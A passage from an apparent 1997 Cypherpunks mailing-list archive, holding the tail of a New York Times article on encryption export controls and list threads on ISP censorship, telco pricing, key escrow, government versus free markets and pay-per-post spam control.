of Lotus Notes, which is now owned by IBM, said:
"This is further proof that easy-to-use, high-grade 
encryption products are available worldwide, and 
that U.S. companies continue to be at a disadvantage 
in the world marketplace. U.S. policy needs to 
change in order to take these realities into account." 

One of the most vexing parts of the regulatory 
equation involves unraveling whether the U.S. government 
can exert any pressure on Entrust Technologies 
Ltd. through its U.S.-based corporate parent, Entrust 
Technologies Inc. The current version of the regulations 
restrict U.S. companies from providing "technical 
assistance" to their foreign companies--a rule 
that would seemingly not apply to a product developed 
completely by Canadians. Earlier drafts were more 
vague and seemed to target any relationship or 
aid, but the final version focused on technical 
assistance. 

Companies with close relationships with the U.S. 
government are still circumspect. Steve Walker,
president of the Glenwood, Md.-based [*]Trusted 
Information Systems, works closely with the Commerce 
Department to seek approval for all of its work 
done in Europe. They ask for a license for all 
of the software being developed by their subsidiary 
in Britain. "We've tried to be very careful about 
this, perhaps more careful about it than we need 
to be," Walker said and then pointed out, "We're 
getting approval." 

[*]Sun Microsystems is pursuing a strategy with 
a different corporate structure. The company bought 
a minority stake in a Russian network software 
company in 1993 and recently asked them to develop 
encryption software for the world market. The deal 
is undergoing scrutiny from the U.S. Department 
of Commerce, but no announcement has been made 
about the resolution. Sun announced that they hope 
to ship the software on August 15. 

Still, the range of a government is hard to measure. 
Greg Katsas, a lawyer in the Washington office 
of Jones, Day, Reavis, and Pogue, said: "Generally,
the rules of jurisdiction of the place of incorporation 
apply, but there are cases where U.S. law reaches 
outside the boundaries. For instance, anti-trust 
law can cover acts done outside the U.S. intended 
to have an impact inside the U.S." 

All of the major software companies like Microsoft,
IBM and Sun continue to press the U.S. government 
for relief of the export control laws, arguing 
that better and better software is emerging throughout 
the world. In the House of Representatives, legislation 
sponsored by Representative Bob Goodlatte, a Republican 
from Virginia, to liberalize export laws has found 
wide support, while similar legislation in the 
Senate has died. 

One of the major initiatives offered by the Clinton 
administration would ease export licenses for software 
that made it possible for law enforcement officials 
to obtain the software's keys with a court order. 
They propose lifting the restrictions for exporting 
the software using 56-bit keys with DES. 

A number of businesses have joined together what 
they call the Key Recovery Alliance to help negotiate 
with the government about the final implementation 
of this plan. Most major software vendors, including 
Entrust and Sun, are part of the alliance. While 
the companies are committed to producing software 
that helps recover encryption keys in emergencies,
there is a great deal of debate about how this 
will be carried out. 

Entrust's product for office groups does offer 
key recovery, but it is a far cry from what the 
U.S. government would like to see implemented. 
Copies of the keys are only stored on the hard 
disk of the employee responsible for overseeing 
the network. There is no capability right now for 
interfacing with trusted third parties who would 
serve as recovery agents for the police. 

Still, Entrust also seems to be working to meet 
U.S. regulations. Their enterprise-wide system 
for larger companies has been granted a license 
for U.S. export even though it uses 56-bit keys. 
This license was recently granted as part of the 
United States' push for key recovery. It signifies 
that the U.S. Commerce Department felt that Entrust 
was moving toward compliance with the policy of 
smoothing access for the police. In two years, 
Entrust may integrate their key recovery system 
with licensed recovery agents or it could face 
losing its U.S. license. 

In the long run, this strategy continues to receive 
heavy resistance. While many businesses welcome 
key-recovery solutions for internal use, they seem 
to resist making it too easy for the police to 
access their documents. Corporations, after all,
can be found guilty as well. 

The same rules apply to countries, which are finding 
themselves in an increasingly brutal worldwide 
competition for dominance. Countries with the most 
liberal export laws may be rewarded with a strong 
fraction of the market share and this is the crucial 
time when the decisions about product acceptance 
are being decided. Many MIS managers may choose 
Entrust's products simply because they don't need 
to fill out forms with the U.S. government in order 
to supply it to all of their foreign subsidiaries. 

Andrew Csinger is the President of Xcert, a Vancouver-
based Canadian software company that manufactures 
encryption technology used for certification authorities. 
He expects that any difference between U.S. and 
Canadian encryption laws will be short-lived. "I 
think that market pressures are going to force 
the U.S. administration to respond more quickly,
" he said. "In reality, cryptography is widely 
available throughout the world." 


Copyright 1997 The New York Times Company


- -> Send "subscribe   snetnews " to majordomo@world.std.com
- ->  Posted by: kalliste@aci.net (J. Orlin Grabbe)


------- End of Forwarded Message





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 2 Aug 1997 10:04:10 +0800
To: John Young <cypherpunks@toad.com
Subject: Re: JYA Axed
In-Reply-To: <1.5.4.32.19970802003043.006cb0a8@pop.pipeline.com>
Message-ID: <v03110726b00841e5aabd@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:30 pm -0400 on 8/1/97, John Young wrote:


> The ISP for jya.com, PrimeHost, an AOL subisidiary, has axed
> the site.

Ain't this 'self-censorship' stuff a bitch...

Cheers,
Bob Hettinga


-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Apache <apache@bear.apana.org.au>
Date: Fri, 1 Aug 1997 20:58:41 +0800
To: cypherpunks@cyberpass.net
Subject: Re: "Telco Terrorism" -- Wired on Baby Bells v. the Net
In-Reply-To: <199708010535.HAA23978@basement.replay.com>
Message-ID: <199708011218.WAA00840@bear.apana.org.au>
MIME-Version: 1.0
Content-Type: text/plain



   Anonymous said:


>   If the telcos don't want to use efficient, effective technology
>to render service to their customers, then I certainly wouldn't
>want to *force* them to do so. However, neither do I want to be
>*forced* to pay exhorbitant rates because the telecos want to
>maintain a sloppily run monopoly on the services I have to choose
>from.

When satellite dish receive/broadcast services become common watch the 
scramble by telcos to update and offer cheap high speed links. Of course 
by then a lot of folks will just say fuck them. Here for your amusement 
are some sample prices offered by our very own blood sucking Telstra 
leech in our very own monopoly/oligopoly market (hard to say exactly what 
it is but there's no effective competition due to decades of government 
monopoly status:

All figures in Australian play money
====================================
Qoute from Toll$tra's web page: "Depending on your access speed, there is 
a low cost, flat monthly pricing for permanent modems or a two-tier price 
structure based on ussage for dedicated access ports pf 64 kbps and 
above."

Then if you dig and I do mean *dig* around on Toll$tra's web page you 
will eventually come across the actual pricing data if your lucky 
(depending on how you look at it).

Well now I just went to their web site and behold; in their wisdom and in 
their position as a internet provider they have removed(!) the pricing 
information on the page. You now have to ring them (I just tried..no 
answer) or email them (tried that 4 hours ago no reply so far) so I'll 
just post from memory. These figures will be wrong but they give some 
idea:

Permanent modem 33.6 connection: about $400 per month (plus call costs)
ISDN 64k: about $1000 per month plus 19 cents/Mb for data received over 
about 25 percent usage
ISDN 128k: about $2000 per month plus usage as above
DDS/FRAME relay: Astronomical $$$$$$$$ per month plus usage per above.
Establishment fee for the above: $1000 - $2000
Upgrade fee from to a new level: Same as establishment fee

I note with great interest an independent provider in New Zealand which
has a better competitive market situation in this area than Australia
(and a lot of other things I might add) offers a user account with up to
500kbs satellite feed for $79 (NZ) /mnth flat plus installation of $79 
plus you must by the satellite dish ($699). I would assume you can't 
resell bandwidth on this set up so the two are not directly comparable.

Oh yes and back to the topic, Telstra here trot out the same garbage as 
in the original post trying to justify timed local calls every year or 
so. Thus far they have been beaten...but only just. Technical solutions 
and a free market will be the only long term solutions, as we would 
expect.

-- 
   .////.   .//    Charles Senescall             apache@bear.apana.org.au
 o:::::::::///                                   apache@quux.apana.org.au
>::::::::::\\\     Finger me for PGP PUBKEY            Brisbane AUSTRALIA
   '\\\\\'   \\    Apache






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Raymond Mereniuk" <Raymond.Mereniuk@mat.calvex.com>
Date: Sat, 2 Aug 1997 14:33:25 +0800
To: cypherpunks@Algebra.COM
Subject: Re: "Telco Terrorism" -- Wired on Baby Bells v. the Net
In-Reply-To: <v03007815b006ac98fb64@[168.161.105.191]>
Message-ID: <199708020537.WAA05914@mat.calvex.com>
MIME-Version: 1.0
Content-Type: text/plain




>If the Telcos move to raise rates, the internet will cease using the 
>Telco system.  And then some telephone interface company will create 
...deleted text...

The Telcos have always lived in a monopolistic environment, they 
can't see the world in any other manner.  One can say many bad things 
about these people.  

Fortunately, there may be reason for them to change their ways in 
regards to Internet access.  Canada is not the most competitive place 
in the world and most Canadians just accept this and pay more money 
then they should for goods and services with no questions to the 
system which forces such things as `Canadian Content' down their 
throats.  Bottom line is that business is not that competitive here.

I have been in the data communications business for a long time and 
dealt with bad service and attitude from Canadian Telcos.  Recently 
the local cable company (Rogers Cablesystems) started offering 
Internet access through a cable modem for CAN$55/month (US$39.95).  
This gives you the cable modem with some sort of asymmetrical data 
transfer rates.  They don't tell you the actual up-stream and 
down-stream data transfer rates but apparently you can get 6 - 10 
times the download rates as possible through a 33.6Kbps modem.

This might at first glance appear a bit expensive but it is a 
permanent connection.  They give you one IP address and up to five 
Email addresses under the standard monthly fee (there is a bit-count 
with charges if you go over the maximum but the limit is in GBs).  
The cable modem rental is included.  They charge CAN$150 (US$109) for 
installation and setup.  Included in this install fee is an Ethernet 
card.  Compare this to ISDN or installing an additional telephone 
line PLUS paying for ISP access.

If you are not careful everyone on your local cable segment can see 
your sytem but what the hell don't you want to get to know your 
neighbors better???  If you are technologically more than clue-less 
you would install a Linux box as a firewall and give it the assigned 
IP address.  Behind your firewall you could install...  whatever?!  
If you have a network, well that can be connected also!??  They will 
do the DNS work (probably at extra charge as this is the cable 
company) and set you up as a sub-domain on their domain and you could 
run a POP3 server to send/receive mail.  

This sounds pretty good, I could go for this, and they even offer it 
in my neighborhood.  But, I must move soon so I will do it in the 
fall after the move.  Now the local Telco (BC Tel, owned by GTE) gets 
a new chairman and the newspaper lets him blow his own horn and puts 
the article on the front page of the local section of one of the 
regional newspapers (Vancouver Sun).  In this ego flexing article the 
CHAIRman states that their market and engineering 
trials are almost over and that they will be offering ADSL for 
Internet access in the fall and that they have a big surprise in 
store for the local cable company as they can beat their Internet 
access offering.  Since that article the local Telco has filed an 
ADSL tariff offering with the federal regulatory body with a 
requested response date of August 27th as they want to begin offering 
this service in the market this fall.  

Are we about to see an elephant tapdance???  If this elephant is 
about to learn to tapdance maybe there is hope for the other Telcos 
of North America.  If by chance I got into the wrong medication 
please advise.  
Virtually


Raymond@wcs.net
Raymond Mereniuk





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 2 Aug 1997 12:27:07 +0800
To: Tim May <cypherpunks@toad.com
Subject: Re: Bionomics banned as a cult in Germany?
In-Reply-To: <v03110721b00840705342@[139.167.130.246]>
Message-ID: <v0311072eb0085d813910@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:25 pm -0400 on 8/1/97, Tim May wrote:


> Hey, I thought "bionomics" had been banned as an illegal and dangerous cult
> in Germany?
>
> (Sure seems like a whacked-out newage cult to me....)

Yeah. Even Newt, Peter Huber, and Stewart Brand are cult members.

:-).

Cheers,
Bob

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 2 Aug 1997 14:52:37 +0800
To: Joichi Ito <cypherpunks@cyberpass.net
Subject: Joichi Ito as a Junior Policeman
In-Reply-To: <199708020550.OAA04024@eccosys.com>
Message-ID: <v03102804b00886fb036a@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:31 PM -0700 8/1/97, Joichi Ito wrote:

>I can't tell you about any of the other stuff that is currently being
>presented
>in the study group, but once the report becomes public, I will try to get
>an English version up on the Net. It should end up being the Japanese
>National Poice Agency's official position on Key Escrow, Certification
>Authorities, and several other issues.

And why are you helping to write a report that will be the "official
position" of the Japanese cops?


>I will be participating in another study group soon to discuss many of
>these issues with the Self Defense Force from the point of view of
>Japanese national security as well as another NPA study group on
>what to do about "crackers"... Anyway, if anyone who can give me some
>insight into these areas will be at HIP, I'd love to chat. ;-)

And why are working for the "Self Defense Force" (the Japanese DOD, for
those not familiar with the terminology).

The JDF is notoriously militaristic. You should reconsider this.

And Cypherpunks should be very careful about "advising" an obviously
co-opted member of the Japanese military and police establishment.

Use crypto to undermine such entities, not support them. Crypto will
unleash anarchy on the world.

>Thanks again.
>
>- Joi
>
>P.S. I am not a "policeman" but an outside boardmember of these
>study groups. The ministries are under quite a bit of scrutiny these
>days and the study groups tend to be quite frank and balanced.
>The reports don't always dictate the law, but since most politicians
>do not have real staffers, therefore most of the expert study is done in the
>ministries.

You sound like a "junior policeman" to me.

Another person to add to the killfiles.

--TCM

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Sat, 2 Aug 1997 15:37:34 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Joichi Ito as a Junior Policeman
Message-ID: <199708020732.AAA12484@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain



On or About  1 Aug 97 at 23:46, Tim May wrote:

> You sound like a "junior policeman" to me.

I smelled bacon.  And I thought I saw Doughnut crumbs.

> Another person to add to the killfiles.

Hey, not me.  You gotta know what the bad guys are up to.

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Yaffe <straightedge.dave@sk.sympatico.ca>
Date: Sat, 2 Aug 1997 15:57:21 +0800
To: cypherpunks@Algebra.COM
Subject: Jim Bell & e-commerce
In-Reply-To: <3.0.2.32.19970730223642.007b2100@ece.eng.wayne.edu>
Message-ID: <3.0.2.32.19970802014824.007c9a10@mailhost.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



Hi,
I'm fairly new to the list and to crypto/political issues.. 

question one: What did Jim Bell do that go him into trouble?
question two: If all non-key-escrow crypto systems become banned, won't
that make e-commerce illegal? 
Thanks
David
"You can take my PGP when you pry it from my cold, dead fingers"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 2 Aug 1997 17:12:40 +0800
To: cypherpunks@cyberpass.net
Subject: Re: free market services vs monopoly government
In-Reply-To: <19970731182720.53925@bywater.songbird.com>
Message-ID: <19970802015614.65348@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, Aug 01, 1997 at 11:32:04AM +0100, Adam Back wrote:

After reading your long response I have one general comment:

"No Fair!"

Remember your rhetorical question that started this: "indeed why have
any governments at all?" That reflects a *vastly* different position
than favoring less government.  Analogy: it would be better for my
health if I ate less.  It would not be good at all for my health to
eat zero.  Your rhetorical question posed the "zero" position for
government, and that was the position I was arguing against.  

But your reasoning is this, apparently: "Kent says he doesn't believe
it is possible for a human society to not have a government, therefore
Kent favors big intrusive government." This kind of "reasoning" is
rife on cypherpunks; may I suggest it is beneath you?

With that little thing out of the way:

[...]
> > Consequently, a statement like "Government is always bad" is ipso
> > facto a shallow generalization, and my natural reaction is to point
> > out that sometimes government is good.
> 
> I'll admit there are situations where a government may make a good
> decision, or handle a situation not too badly, or not that
> restrictively.  Such situations are quite rare though, aren't they :-)

Compared to what? Compared to an imagined libertarian utopia, or
compared to really bad situations (say, North Korea), or Cambodia
under Pol Pot? In fact, you and I live lives of unbridled luxury,
compared to a majority of the human race.  Our government has 
something to do with that.  Put another way: your debit governments 
for the bad things they do, but you don't credit them for the bad 
things they prevent.  A fair analysis would include both.

[...]

> > I don't think of government as a "necessary evil", either.  Rather,
> > I think that a government of some kind is an inevitable outgrowth of
> > human nature.  I think this for three compelling reasons: first, it is
> > obversationally true -- there are essentially no human beings who live
> > without a government of some kind; second, because it is in agreement
> > with all my observations and knowledge of human nature; and third,
> > because it makes sense to me as the rational consequence of the
> > existence of force as an interpersonal interaction. 
> 
> As a general rule: less government intervention is more efficient than
> more.

Re: my eating habits, above.

> This is because the free market is better at meeting people's
> demands in a tailored fashion than any socialist/communist planned
> economy handed down by a few big-wigs.

That's hardly a recommendation, now is it?

> Are you against privatisation?  Are you against deregulation?

In general, no.

[...]
> > In fact, of course, the US generates a great deal of wealth for its
> > citizens, who are among the best off and most productive of any nation
> > on earth.  Of course it could be better, but it could be a whole lot
> > worse.  To say that the form of government had nothing to do with that
> > *success* is intellectually dishonest -- one can just as easily argue
> > that things are good in the US largely *because* we have a relatively
> > good government. 
> 
> Jeez, just imagine how much better off you could be without all the
> government crapola.

How so? I could have more money? That's a rathole without a bottom --
I have an adequate supply.  More personal freedom? The main constraint
on me is lack of time to enjoy the freedoms I already have.  If I 
make a realistic assessment of my life, less government isn't going 
to make any significant difference, and I wager that it wouldn't make 
any significant difference to you, either.  We are both members of 
the technological elite, doing pretty damn much what we please, and 
having a good time doing it.

So I am not a good example of someone who might be better off.  Well,
how about someone not in our fortunate position? That's not clear
either, but for entirely different reasons.  In the US the economy has
done very well the last few years, but there is this troubling
undercurrent about the poor getting poorer and the rich getting richer
-- the economy isn't like the tide -- it doesn't seem to float all 
boats.  And I have no confidence that the unfettered free-market 
utopia you dream about is going to be equitable in its distribution 
of wealth.

[...]

> > > eg. I can go buy into Uncle Enzo's pizza delivery and protection
> > > racket because the protection is 5000% better value for money than the
> > > Feds deal.
> > 
> > How do you get out from Uncle Enzo's protection racket when things go 
> > sour, if Uncle Enzo doesn't allow his customers to leave, or even to 
> > say anything bad about him?
> 
> Anyway you just buy into Mr Lee's New Hong Kong protection racket, and
> Uncle Enzo will respect Mr Lee's fire-power enough to consider it not
> worth the effort of picking on small fry like you.

Mr Lee isn't interested in dealing with you -- he will deal with 
Uncle Enzo.  You are an insignificant pawn to both of them, and they 
will divide up their turf according to their own concerns.  Force 
monopolies don't overlap, generally.  But anyway, this is another one 
of those intellectual tinkertoys of freedom...

[...]

> Cultural and societal change have happened in the past.  I guess
> you've read of the feudal systems.  Well society's structure has
> changed.  If you lived in feudal systems, you'd be one of the serfs
> happy with his lot tithing to the lord of the manor, and to the fat
> church, and being left with barely enough to eat.

Yep. Probably.  Everybody was.  That didn't change through serf 
revolts, to my knowledge -- it changed through growth of a merchant 
class. 

[...]
> See anything wrong with making a currently relatively free government
> into an even less restrictive government?

Nope.  It's something I work on, believe it or not.

> Tell me, are the following insane ideas:
> 
> 	- privatisation
> 	- deregulation
> 	- devolution of government power to smaller power bases
> 	- lower taxes
> 	- fewer politicians
> 	- reduced social security system 
> 	- cancel the war on drugs

No.  Obviously not, as I favor all of them :-)  You said, however, 
"any government at all."

[...]

> [I took the perl rsa usage to a new post]

OK.  I now have "RSA, the song" as a midi file, which I will post in 
the next day or two...

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: RealAudio & RealVideo News <announce@dmail1.prognet.com>
Date: Sat, 2 Aug 1997 19:46:39 +0800
To: cypherpunks@cyberpass.net
Subject: Hear 30 Full-length Albums from Warner Bros. Records in RealAudio
Message-ID: <199708021034.DAA00156@dmail2.prognet.com>
MIME-Version: 1.0
Content-Type: text/plain



Dear RealPlayer User,

Thank you for using RealPlayer software
for RealAudio and RealVideo.

I'm writing to tell you about a special
offer available exclusively for users
of the enhanced RealPlayer Plus.

If you order and download RealPlayer Plus,
you'll get access to 30 full-length albums
from Warner Bros. Records, presented in RealAudio.

RealPlayer Plus delivers benefits you
can't get anywhere else, including: 

- The best quality audio and video at 28.8

- One-button scanning for the best
  live audio & video on the web

- Instant access to your favorite RealAudio
  and RealVideo content with preset buttons

- Packaged CD-ROM and manual plus
  free telephone technical support 

Please visit our Web site for more information
or to download RealPlayer Plus:

   http://www.real.com/wbr/order.html

I hope you enjoy RealPlayer Plus,

Maria Cantwell
Vice President of Marketing,
Progressive Networks


---------------------------------------------
 For information about this e-mail including
 how to subscribe to or unsubscribe from
 future announcements, please visit:
 http://www.real.com/mailinglist/index.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Sat, 2 Aug 1997 21:14:47 +0800
To: David Yaffe <straightedge.dave@sk.sympatico.ca>
Subject: Re: Jim Bell & e-commerce
In-Reply-To: <3.0.2.32.19970802014824.007c9a10@mailhost.sk.sympatico.ca>
Message-ID: <Pine.GSO.3.95.970802090608.27879A-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



David,

Check out netlynews.com and search for Assassination. That'll get you
my story on Bell from early April.

-Declan

On Sat, 2 Aug 1997, David Yaffe wrote:

> Hi,
> I'm fairly new to the list and to crypto/political issues.. 
> 
> question one: What did Jim Bell do that go him into trouble?
> question two: If all non-key-escrow crypto systems become banned, won't
> that make e-commerce illegal? 
> Thanks
> David
> "You can take my PGP when you pry it from my cold, dead fingers"
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sun, 3 Aug 1997 00:49:04 +0800
To: cypherpunks@toad.com
Subject: Re: non-censorous spam control (was Re: Spam is Information?)
In-Reply-To: <199707311120.MAA00669@server.test.net>
Message-ID: <19970802092944.06562@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, Aug 02, 1997 at 09:31:20AM -0500, Dr.Dimitri Vulis KOTM wrote:
> Just commenting on some stuff I missed earlier:
> 
> Adam Back <aba@dcs.ex.ac.uk> writes:
> 
> ...
> > Another longer term way to improve the situation is to charge some
> > small token amount per article, just to encourage people to use it
> > with some intelligence (use cross posts rather than separately
> > reposting to each group).
> 
> Problem is, a "small token" for some may be a lot of money for someone
> else. A poor person may be unwilling to part with 5c; a rich person or
> a corporation may still be willing to spend a million dollars on an
> advertising campaing (selling something or warning about the second
> cumming of Jesus).  
>
> The way the things are now, everyone is equally
> free to post and if you're into reputations, they can build one with
> the contents of their writings, not the amount of money they can
> afford to spend on posting.

In more general terms: A "free market" fundamentally grants more
control to those with more money.  Postage of whatever variety turns
the medium over to those with more money.  That would, in my opinion, 
fundamentally alter the character of email in a strongly negative 
direction. 

This, by the way, is one of the fundamental problems with the
proposition that a free market is the appropriate response to every
social issue -- in many arenas a broad primary goal is allowing equal
opportunity to each individual.  

In a "free market" a fundamental feedback loop is that inequality of
distribution of wealth increases -- this obviously follows from the
fact that it is easier to make money if you have money.  With wealth
goes control.  Thus, the ultimate end of completely unfettered free
markets is fascism, where the wealthy run the government.  This is
another manifestation of the fundamental conflict between democratic
ideals and unfettered free markets. 

Naturally, rich, indolent technologists tend to favor schemes that 
will put them in control. :-)

[...]

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 2 Aug 1997 23:32:57 +0800
To: freedom-knights@jetcafe.org
Subject: Re: non-censorous spam control (was Re: Spam is Information?)
In-Reply-To: <199707311120.MAA00669@server.test.net>
Message-ID: <X30sae2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Just commenting on some stuff I missed earlier:

Adam Back <aba@dcs.ex.ac.uk> writes:

...
> Another longer term way to improve the situation is to charge some
> small token amount per article, just to encourage people to use it
> with some intelligence (use cross posts rather than separately
> reposting to each group).

Problem is, a "small token" for some may be a lot of money for someone
else. A poor person may be unwilling to part with 5c; a rich person or
a corporation may still be willing to spend a million dollars on an
advertising campaing (selling something or warning about the second
cumming of Jesus).  The way the things are now, everyone is equally
free to post and if you're into reputations, they can build one with
the contents of their writings, not the amount of money they can
afford to spend on posting.

> It is also entirely possible for people to have 'bots which auto-post
> in response to articles matching keywords, or matching authors.
> (We've seen a few of these on cypherpunks).
>
> If people want to make a nuisance for others by spewing random garbage
> via bots to newsgroups, they could post mega bytes of stuff per day
> and swamp the content.  What can you do about this?  Charging a small
> amount per post, or per megabyte would provide a small disincentive
> for this type of behaviour.  However it would never reflect the true
> cost to USENET bandwidth as a whole.

I'm sorry, I don't see how posting megabytes of noise every day can
swamp the content. Moreover, if such actions were indeed cause a problem,
they would not be eliminated with payments. Some people would be willing
to spend money to "flood" the net with what you consider to be "spam" -
because they're rich or because they have access to a large advertising
budget. The solution is for you to make sure you're using a reader that
lets you find the content from

A while ago I read an interesting story about the behavior of German
tourists with cars in Czech republic.  The Czechs used to discourage
their own population from 1) speeding, 2) parking in inappropriate
places by imposing fines.  The fines were a lot of money for the locals,
but small change for the Germans (because of the screwed up exchange
rates for the most part). The Germans would speed on the local roads
and park their cars where they obstructed traffic since the fines
were no deterrent.

Natrurally, there's a huge difference between an inappropriately parked
car and a Usenet article. If you can't get our of your garage because
some tourist's car is parked in your driveway, it's a problem. If a
usent article is "inappropriately posted", you can just ignore it.

> One interesting idea which has been floated on this list in the past
> is for authors to have their free posting rate moderated by other
> peoples ratings of their posts.
>
> One way to implement this is for other people to pay the author for
> their articles a penny if they like the article.  That way people who
> write things which others find interesting to read get subsidized
> posting.  Is it still free speech if you have to pay for your posts if
> you're arguing for an unpopular minority?

Now that is another very interesting suggestion from Adam.

Instead of discouraging the behavior you don't like, encourage the
behavior you do like.

A shareware-like concept - send e-cash donations to the posters of
usenet articles that you like and whom you want to encourage.

Make 1 cent the standard "tip" for an article that you read and liked.
Feel free to send more if you like an article a lot. Don't send anything
if you don't like the article or if you've killfiled the author.

> Also, this might be an interesting information market model because
> technical experts might even find themselves with a well paid job of
> answering technical questions in newsgroups.

Or the ones who post good porn in alt.binaries.pictures.erotica.
Reward the ones whose postings others do want to read. Yes,
an excellent idea if you can work out the details.

I invite Adam and David to subscribe to the freedom-knights mailing list
(send 'subscribe freedom-knights@jetcafe.org' to majordomo@jetcafe.org)
if you want to continue this not-quite-crypto discussion there.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 2 Aug 1997 23:30:42 +0800
To: freedom-knights@jetcafe.org
Subject: Re: non-censorous spam control (was Re: Spam is Information?)
In-Reply-To: <199707311344.IAA17797@mailhub.amaranth.com>
Message-ID: <DcBTae4w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



"William H. Geiger III" <whgiii@amaranth.com> writes:

> In <199707311120.MAA00669@server.test.net>, on 07/31/97
>    at 12:20 PM, Adam Back <aba@dcs.ex.ac.uk> said:
>
> >Another longer term way to improve the situation is to charge some small
> >token amount per article, just to encourage people to use it with some
> >intelligence (use cross posts rather than separately reposting to each
> >group).
>
> This will not work!!!
>
> Charging for e-mail/news posts will no nothing to prevent spam and more
> than likely increase the noise on such lists. It is the spamers who have
> the money to post volumns of their crap. Allso I think you will find that
> it will be the fanatics who will think it worth the $$$ to get their
> message out.

In all fairness, it would decrease the "spam" because some spammers are
certain to be unwilling to pay for braodcasting the kind of crap they
now broadcast for a flat fee. However it would not eliminate the "spam"
and it would damped the "signal" more than it would damped the "noise".

In my opinion, the recipient of the "spam" should not have to pay
anything. Now, some service charge per packets transmitted or the
time spent online. Their users are therefore pushed into trying to
censor "spam", flames, or anything else they find off-topic. Even
when there's no monetary cost, some people use crappy software to
read usenet or mailing lists, and it takes them time to ignore what
they don't like, and they value their time and become angry.

> >Also, this might be an interesting information market model because
> >technical experts might even find themselves with a well paid job of
> >answering technical questions in newsgroups.
>
> There is a web site that is doing exactly this. They provide forums for
> users to post technical questions in which "experts" will answer them.
> Upon receiving the answer the person who posted the question is requested
> to rate the answer. I haven't been on the site in awhile but the last time
> I was there they were working on a mechinism to compensate their "experts"
> for answering questions. They had a point system based on the difaculty of
> the questions. After registering with them and obtaining a certain number
> of points for correctly answering questions you would be classified as an
> "expert" for that forum which then would make you eligable for
> compensation. I believe all funds were to be generated through web page
> advertisement.
>
>
> I'll see if I can find the URL for the site and post it to the list.

Most of my posts on newsgroups like nyc.food or comp.unix.questions are
answers to other people's questions.  I'd love to see this concept
extended to Usenet - sort of like "shareware".

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 2 Aug 1997 23:39:20 +0800
To: freedom-knights@jetcafe.org
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <19970731090023.27288@math.uiuc.edu>
Message-ID: <FocTae6w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim Skirvin <tskirvin@math.uiuc.edu> writes:

>
> Ryan Anderson <randerso@ece.eng.wayne.edu> writes:
>
> > "Make Money Fast" are killed because they're illegal scams in the US and I
> > think in most of the world.
>
